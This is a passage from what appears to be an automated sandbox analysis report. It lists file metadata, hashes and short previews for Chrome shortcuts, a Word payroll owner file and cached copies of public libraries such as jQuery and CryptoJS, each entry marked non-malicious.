Preview:	L..................F.@.. ...$+.,.....?.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 18:53:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.997986746554661
Encrypted:	false
SSDEEP:	48:858d7Tj7dcH0UidAKZdA1weh/iZUkAQkqehdy+2:8ibRo9Qgy
MD5:	10D1D774C22705DDC112E0078A652073
SHA1:	EB9DAE6D10200C9191AC6E6A6D835D8EF3E31C26
SHA-256:	0F0C608C462E88117117EBAC99F39AED244C67A8D8BCF444D4F6B0AEF114D28D
SHA-512:	5A728B8CA560676F17057DA829881DFC423486C3C2491412563339C2DB81EACB1E4DBCD9CE6B2F995341A27FD2493402A41697667AE582F46A8862B701942547
Malicious:	false
Preview:	L..................F.@.. ...$+.,..........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0070976388006985
Encrypted:	false
SSDEEP:	48:8xGd7Tj7sH0UidAKZdA14tseh7sFiZUkmgqeh7sXy+BX:8xybrAnJy
MD5:	803B0FC95D47FC58A8A14544CEB2B8FF
SHA1:	11223AF059F6C6CF908203C57B45FFFB79341D95
SHA-256:	C3CB97898BE4615AA9E3F913AE009481BDE7302883AD883525218A29E4DFE491
SHA-512:	7D6DF4DE42C3FF7067BB36D88F69091942F80DB147BCB24D1980D28D8329378C3F93A0809E5CCC6874D5ABF6CE49D3930C0C752C7FF290DEC2FD293EFC5521BF
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 18:53:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.996981780944631
Encrypted:	false
SSDEEP:	48:8XByd7Tj7dcH0UidAKZdA1vehDiZUkwqehhy+R:8obRzPy
MD5:	5E82019806F3C5568362E21A8AE16444
SHA1:	88BA52B269AD9A4464B4F25B6DD59E787F5867D4
SHA-256:	EA201EC798408FE1C0AA92864394494EDD764514BC615C52A0A3648288FE548C
SHA-512:	938E7839A987D8FD219197261E558A3B3F55647DF270A04D41651C55D2005AB0645091E524FF5ED30CCE52426FDBB51DD7CA6385B6255FFC9CDB93AB060156C8
Malicious:	false
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 18:53:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.986396405739125
Encrypted:	false
SSDEEP:	48:8TPqd7Tj7dcH0UidAKZdA1hehBiZUk1W1qehzy+C:8TPmbRj9Ty
MD5:	C98F952743AE04BC15142A256CF3D496
SHA1:	16D45303F35BAD1FE8236D07E7381FE0544529BE
SHA-256:	D6A33564641FF92B057257E448EC03C5EF152CD8CBCA2102E535BE427894863F
SHA-512:	BED7020542143251BB44E0F5A511F58B1ED0BE60F8F12EF7F8C57DB4B04E8329B16F12B93EE46ECAE8E73996C1419424FF184E1A0F6423419A0845EF43A3A8B8
Malicious:	false
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 18:53:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.996517554349848
Encrypted:	false
SSDEEP:	48:8/d7Tj7dcH0UidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbJy+yT+:8xbRTT/TbxWOvTbJy7T
MD5:	446CAFD9803AFF6AC8E83E4F526A3742
SHA1:	62ED805DABBC7C382CA1DFA9E3D1058655DACE00
SHA-256:	A357A8B4D5A67FFDD5687087E23EA7934A30024598393178EE3499A906FA462E
SHA-512:	8E94DA60C94BCBD4BB062738F15B4855F3DBC764C8134C9C69CDACEEF979FB7FB7F05131EF3AC055D749FC0D4D276C0691D97D444DA33DF440A081914821BC17
Malicious:	false
Preview:	L..................F.@.. ...$+.,....].......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............Y.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Desktop\~$tron_Payroll.docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.789998521944196
Encrypted:	false
SSDEEP:	3:klt+lllt0sHG7hxP/fubAtuh61vjt1j5JCq773sf:7tTHWXMM17jFJp77K
MD5:	BD3FF451057C0DA847AECF22128E6A28
SHA1:	B57BBB031611BF928F2F51780FC7AD1416C60A1A
SHA-256:	C236C3B1165F2BEF76996499F7F37462143FA107874D507D5B8E16E98AAA1798
SHA-512:	F5CFD3773F0A09FAB776CE35E85B7A0A0E0B3A327B3C7757249CE80C22A21A5EB8C3603A4C778E1370687F2D86E86F5A7AE3185D4667837F06906167235B291E
Malicious:	false
Preview:	.user.................................................a.l.f.o.n.s......ptb1..Y..2..M.........>.b..k'.....m..H.-J..,J.............Iq.,'..}..i....8....=.i

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47261)
Category:	dropped
Size (bytes):	47262
Entropy (8bit):	5.3974731018213795
Encrypted:	false
SSDEEP:	768:+CWIsQ06lHHhw+r9sygguSwodvdq3VE3XYdze9Ddre9eom1CQWpKexThupcubvCR:uQflHBN9sygg1WViPreEM
MD5:	E07E7ED6F75A7D48B3DF3C153EB687EB
SHA1:	4601D83C67CC128D1E75D3E035FB8A3BDFA1EE34
SHA-256:	96BD1C81D59D6AC2EC9F8EBE4937A315E85443667C5728A7CD9053848DD8D3D7
SHA-512:	A0BAF8B8DF121DC9563C5C2E7B6EEE00923A1E684A6C57E3F2A4C73E0D6DD59D7E9952DF5E3CFFFB08195C8475B6ED261769AFB5581F4AB0C0A4CC342EC577C9
Malicious:	false
Preview:	"use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);function g(p){Vt(l,o,c,g,f,"next",p)}function f(p){Vt(l,o,c,g,f,"throw",p)}g(void 0)})}}function U(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):U(e,r)}function Me(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Fe(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Me(e,c,a[c])})}return e}function Rr(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47261)
Category:	downloaded
Size (bytes):	47262
Entropy (8bit):	5.3974731018213795
Encrypted:	false
SSDEEP:	768:+CWIsQ06lHHhw+r9sygguSwodvdq3VE3XYdze9Ddre9eom1CQWpKexThupcubvCR:uQflHBN9sygg1WViPreEM
MD5:	E07E7ED6F75A7D48B3DF3C153EB687EB
SHA1:	4601D83C67CC128D1E75D3E035FB8A3BDFA1EE34
SHA-256:	96BD1C81D59D6AC2EC9F8EBE4937A315E85443667C5728A7CD9053848DD8D3D7
SHA-512:	A0BAF8B8DF121DC9563C5C2E7B6EEE00923A1E684A6C57E3F2A4C73E0D6DD59D7E9952DF5E3CFFFB08195C8475B6ED261769AFB5581F4AB0C0A4CC342EC577C9
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/ec4b873d446c/api.js
Preview:	"use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);function g(p){Vt(l,o,c,g,f,"next",p)}function f(p){Vt(l,o,c,g,f,"throw",p)}g(void 0)})}}function U(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):U(e,r)}function Me(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Fe(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Me(e,c,a[c])})}return e}function Rr(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 23, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.002585360278504
Encrypted:	false
SSDEEP:	3:yionv//thPlo/Eikxl/k4E08up:6v/lhPxik7Tp
MD5:	1561E83741053190DB37C96A5A72C3BC
SHA1:	9CEB1D63E7355CCB5246655D8ECA8BB428CC69EF
SHA-256:	573432A38D6EF1BD04E7AB357828CEC567F11798A587A2D97CAB49FE36A1D9F8
SHA-512:	618E791A60BDE8A3E5CD0171742458F265E2BD4FE33CB398E113DB26DE0BA016CC5CC77EB128F81E14AFA740F5E1048DC3CA49C2B6249936A90416C0CF7C6694
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8cf06f880e728cca/1728330790902/q8sSPEQJANb37H3
Preview:	.PNG........IHDR...`.........{.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 23, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.002585360278504
Encrypted:	false
SSDEEP:	3:yionv//thPlo/Eikxl/k4E08up:6v/lhPxik7Tp
MD5:	1561E83741053190DB37C96A5A72C3BC
SHA1:	9CEB1D63E7355CCB5246655D8ECA8BB428CC69EF
SHA-256:	573432A38D6EF1BD04E7AB357828CEC567F11798A587A2D97CAB49FE36A1D9F8
SHA-512:	618E791A60BDE8A3E5CD0171742458F265E2BD4FE33CB398E113DB26DE0BA016CC5CC77EB128F81E14AFA740F5E1048DC3CA49C2B6249936A90416C0CF7C6694
Malicious:	false
Preview:	.PNG........IHDR...`.........{.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 59, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlVEt/lVBxl/k4E08up:6v/lhP8tTB7Tp
MD5:	D7E880FBEA39D64F9EAEF283ED0FC889
SHA1:	B5D427C5D3DF75E169D747E162E77FFB273D8350
SHA-256:	D51AED39E78DF5489D2866BD38166AEDE29DDF5D87F28666D774619C85332211
SHA-512:	F3C487809D951972E96B62D0807CE6DDD7EAD84604EFD7977FC011B64E1930FB62052F578E4B31D3EA852264A7DB0FEA4D0AD7418F58ED223CEB5BF1848185C4
Malicious:	false
Preview:	.PNG........IHDR...(...;......._.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (6297), with CRLF line terminators
Category:	downloaded
Size (bytes):	17754
Entropy (8bit):	5.916277364869636
Encrypted:	false
SSDEEP:	384:0nu4GKGOs5ZvyfXgX1ADVvJSh2GJinu4GKGOs5ZvyfXgX1ADVvJSh25lrYlro:PKGOs5ZvyfQl+R22GJ9KGOs5ZvyfQl+n
MD5:	6B17B78A8293D337953F0CCEF1946D6C
SHA1:	17F61F418F2F16364FBC0F1764B0FE11D6AD6482
SHA-256:	206585A09AD5A55B00EE01E3FD420A89362ED712B8A7590217EA59803F91BD8E
